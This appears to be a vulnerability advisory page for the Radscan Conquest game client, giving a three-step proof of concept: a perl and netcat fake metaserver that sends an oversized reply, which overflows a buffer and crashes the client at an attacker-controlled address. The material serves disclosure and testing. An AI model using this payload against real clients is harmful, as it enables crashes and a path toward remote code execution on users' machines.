• info
• discussion
• exploit
• solution
• references

Radscan Conquest Multiple Remote Vulnerabilities

The following proof of concept is available:

1. Launch a fake metaserver that sends more than 1024 chars:
perl -e 'print "a"x1200' | nc -l -p 1700 -v -v -n

2. Launch the client, specifying the alternate metaserver:
conquest -m -M 127.0.0.1

3. Interrupt the fake metaserver: conquest should have been crashed
trying to executing the code at offset 0x61616161